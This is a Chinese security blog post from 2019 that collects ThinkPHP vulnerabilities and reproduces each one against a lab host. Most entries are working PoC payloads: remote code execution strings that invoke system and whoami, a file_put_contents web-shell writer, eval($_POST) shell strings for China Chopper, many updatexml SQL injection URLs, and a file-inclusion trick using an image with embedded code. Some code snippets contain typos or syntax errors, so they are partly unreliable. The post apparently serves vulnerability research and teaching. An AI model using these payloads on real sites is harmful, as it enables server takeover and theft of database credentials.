ThinkPHP漏洞总结

ThinkPHP 是一个快速、简单的基于 MVC 和面向对象的轻量级 PHP 开发框架,遵循 Apache2 开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重开发体验和易用性,为 WEB 应用和 API 开发提供了强有力的支持。

前言

本篇文章将针对ThinkPHP的历史漏洞进行整理复现,今后爆出的ThinkPHP漏洞,也将进行补充更新。

ThinkPHP远程命令执行/代码执行漏洞

一,ThinkPHP 5.0.23远程代码执行

漏洞介绍
2019 年 1 月 11 日,360CERT 发现某安全社区出现关于 ThinkPHP5 RCE 漏洞的威胁情报,不久之后 ThinkPHP5 官方与 GitHub 发布更新。该更新修复了一处严重漏洞,该漏洞可导致远程命令代码执行。
Thinkphp在实现框架中的核心类Request的method方法实现了表单请求伪装。但由于对$_POST[‘_method’]属性校验不严格,导致攻击者可以通过变量覆盖掉Request类的属性并结合框架特性实现对任意函数的调用,从而实现远程代码执行。
影响版本
THINKPHP 5.0.x-5.0.23

漏洞分析参考:
https://www.freebuf.com/vuls/194093.html

漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
需要目标开启debug模式

Poc/exp:
设置url参数s=captcha,post数据

1
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
图片_23.png

二,ThinkPHP 5.0.22远程代码执行

漏洞介绍
2018年12月9日,ThinkPHP官方发布安全更新,修复一处由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,山石网科安服团队经过分析,把该漏洞危险级别定为严重。
Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在admin、index模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行

影响版本
THINKPHP 5.0.5-5.0.22
THINKPHP 5.1.0-5.1.30

漏洞分析参考:
https://www.secpulse.com/archives/93903.html

漏洞复现(内网环境)
访问192.168.10.53,选择对应版本

命令执行payload:

1
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]=whoami
图片1.png 代码执行查看phpinfo
1
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=-1
图片2.png 写文件payload
1
?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1]=shell1.php&vars[1]=<?php phpinfo();?>
图片3.png

三,​ThinkPHP 2.2任意代码执行

影响版本
THINKPHP 2.x-2.2

漏洞复现(内网环境)
访问192.168.10.53,选择对应版本

Poc/exp:

1
/module/action/param1/${phpinfo()}
2
/module/action/param1/${eval($_POST[1])}                           
3
?s=/abc/abc/abc/${THINK_VERSION}
图片4.png getshell菜刀直接连接构造的连接 图片5.png 图片6.png

ThinkPHP sql注入漏洞

一,ThinkPHP 3.2.3/5.1.22 order by注入

漏洞介绍:
该漏洞是因为未正确处理所接收数组类型参数的key,直接拼接到了SQL语句的order by后面,导致漏洞的产生。该漏洞可以获取数据库数据,比如用户账号密码,管理后台账号密码,交易数据等。漏洞危害为高危。

影响版本
5.1.16<=ThinkPHP<=5.1.22,<=3.2.3

漏洞分析参考:
https://nosec.org/home/detail/1821.html

漏洞复现(内网环境)
在/application/index/controller/文件夹下建立Index.php文件,内容如下:

1
<?php
2
namespace app\index\controller;
3
class Index{
4
    public function index()    {
5
           $data=array();
6
         $data['username']=array('eq','admin');
7
        $order=input('get.orderby/a');
8
        $m=db('user')->where($data)->order($order)->find();
9
        Sdump($m);
10
   }
11
}
12
?>

访问192.168.10.53,选择对应版本

Poc/exp:
3.2.3

1
?order[updatexml(1,concat(0x3a,user()),1)]=1

5.1.22

1
?orderby[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
图片7.png

二,Thinkphp3.2.3 find/select/delete注入

影响版本
Thinkphp<=3.2.3

漏洞分析参考:
https://www.anquanke.com/post/id/157817

漏洞复现(内网环境)
在Application\Home\Controller\IndexController.class.php 添加以下代码:

1
<?php 
2
public function test()  
3
{  
4
    $id = i('id');  
5
    $res = M('user')‐>find($id);
6
    //find()  //$res = M('user')‐>delete($id); //delete() 
7
    //$res = M('user')‐>select($id); //select()  
8
}

Poc/exp:
针对select() 和find()方法 ,有很多地方可注,这里主要列举三个table,alias, where,更多还请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行 的,比如having,group等。
where:

1
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐

alias:

1
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,u ser(),0x7e),1)‐‐
2
``` 
3
table:
4
``` bash
5
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐
图片8.png

而delete()方法的话同样,这里粗略举三个例子,table,alias,where,但使用table和alias的时候,同时还必须保证where不为空

where:

1
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐

alias:

1
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐

table:

1
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐&id[where]=1
图片9.png

三,ThinkPHP框架3.2.3 update注入漏洞

影响版本
Thinkphp<=3.2.3

漏洞分析参考:
https://www.seebug.org/vuldb/ssvid-97234

漏洞复现(内网环境)
在Application/Home/Controller/UserController.class.php添加以下代码:

1
<?php
2
3
namespace Home\Controller;
4
use Think\Controller;
5
6
class UserController extends Controller {
7
8
    public function index(){
9
10
        $User = M("user");
11
        $user['id'] = I('id');
12
        $data['name'] = I('name');
13
        $data['pass'] = I('pass');
14
        $valu = $User->where($user)->save($data);
15
        var_dump($valu);
16
    }
17
}

Poc/exp:

1
/index.php/home/user?name=1123&pass=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

图片10.png]

四,ThinkPHP 5.1.7 update注入

漏洞介绍
本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

影响版本
5.1.6<=Thinkphp<=5.1.7(非最新的 5.1.8 版本也可利用)

漏洞分析参考:
https://www.freebuf.com/column/206233.html

漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:

1
class index
2
{
3
    public function indx()
4
    {
5
        $password=input('get.pass/a');
6
        db('user')->where(['id'=>1]->update(['pass'=>&password]));
7
    }
8
}

Poc/exp:

1
/index.php?pass[0]=inc&pass[1]=updatexml(2,concat(0x7e,user()),0)&pass[2]=1
图片11.png

五,ThinkPHP 5.0.15 insert注入

漏洞介绍
本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

影响版本
5.0.13<Thinkphp<=5.0.15,5.1.0<=thinkphp<=5.1.5

漏洞分析参考:
https://www.freebuf.com/column/205976.html

漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:

1
class Index
2
{
3
    public function index()
4
    {
5
        $username = request()->get('name/a');
6
        db('user')->insert(['name' => $name]);
7
        return 'Update success';
8
    }
9
}

Poc/exp:

1
/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1
图片12.png

六,ThinkPHP5 select注入

漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

影响版本
ThinkPHP5全版本

漏洞分析参考:
https://www.freebuf.com/column/206387.html

漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:

1
class Index
2
{
3
    public function index()
4
    {
5
        $name = request()->get('name');
6
        $result = db('user')->where('name','exp',$name)->select();
7
        return 'select success';
8
    }
9
}

Poc/exp:

1
/index/index/index?name=) union select updatexml(1,concat(0x7,user(),0x7e),1)#
图片13.png

七,ThinkPHP5.0.10 select注入

漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。

影响版本
ThinkPHP 5.0.10

漏洞分析参考:
https://www.freebuf.com/column/206599.html

漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:

1
class Index
2
{
3
    public function index()
4
    {
5
        $username = request()->get('name/a');
6
        $result = db('user')->where(['name' => $name])->select();
7
        var_dump($result);
8
    }
9
}

Poc/exp:

1
/index/index/index?name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,user()#
图片14.png

八,ThinkPHP Mysql 聚合函数相关方法注入

漏洞介绍
本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

影响版本
5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。

漏洞分析参考:
https://www.freebuf.com/column/206599.html

漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:

1
class Index
2
{
3
    public function index()
4
    {
5
        $options = request()->get('options');
6
        $result = db('user')->max($options);
7
        var_dump($result);
8
    }
9
}

Poc/exp:
不同版本payload需稍作调整
5.0.0~5.0.21 、 5.1.3~5.1.10:

1
/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from user%23

5.1.11~5.1.25:

1
/index/index/index?options=id)%2bupdatexml(1,concat(0×7,user(),0x7e),1) from user%23`
图片15.png

ThinkPHP文件包含漏洞

一,ThinkPHP5文件包含漏洞

漏洞介绍
本次漏洞存在于ThinkPHP模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。

影响版本
5.0.0<=ThinkPHP5<=5.0.18、5.1.0<=ThinkPHP<=5.1.10

漏洞分析参考:
https://www.freebuf.com/column/207878.html

漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:

1
class Index
2
{
3
     public function index()
4
    {
5
        $this->assign(request()->get());
6
        return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
7
    }
8
}

ation/index/view/index/index.html文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马1.jpg放至public 目录下(模拟上传图片操作)。

Poc/exp:

1
/index.php/index/index/index?cacheFile=1.jpg
图片16.png
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 1975763359@qq.com

文章标题:ThinkPHP漏洞总结

文章字数:2.7k

本文作者:zcsmile

发布时间:2019-12-20, 15:56:08

最后更新:2019-12-23, 19:16:10

原始链接:https://zcsmile.github.io/2019/12/20/4/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏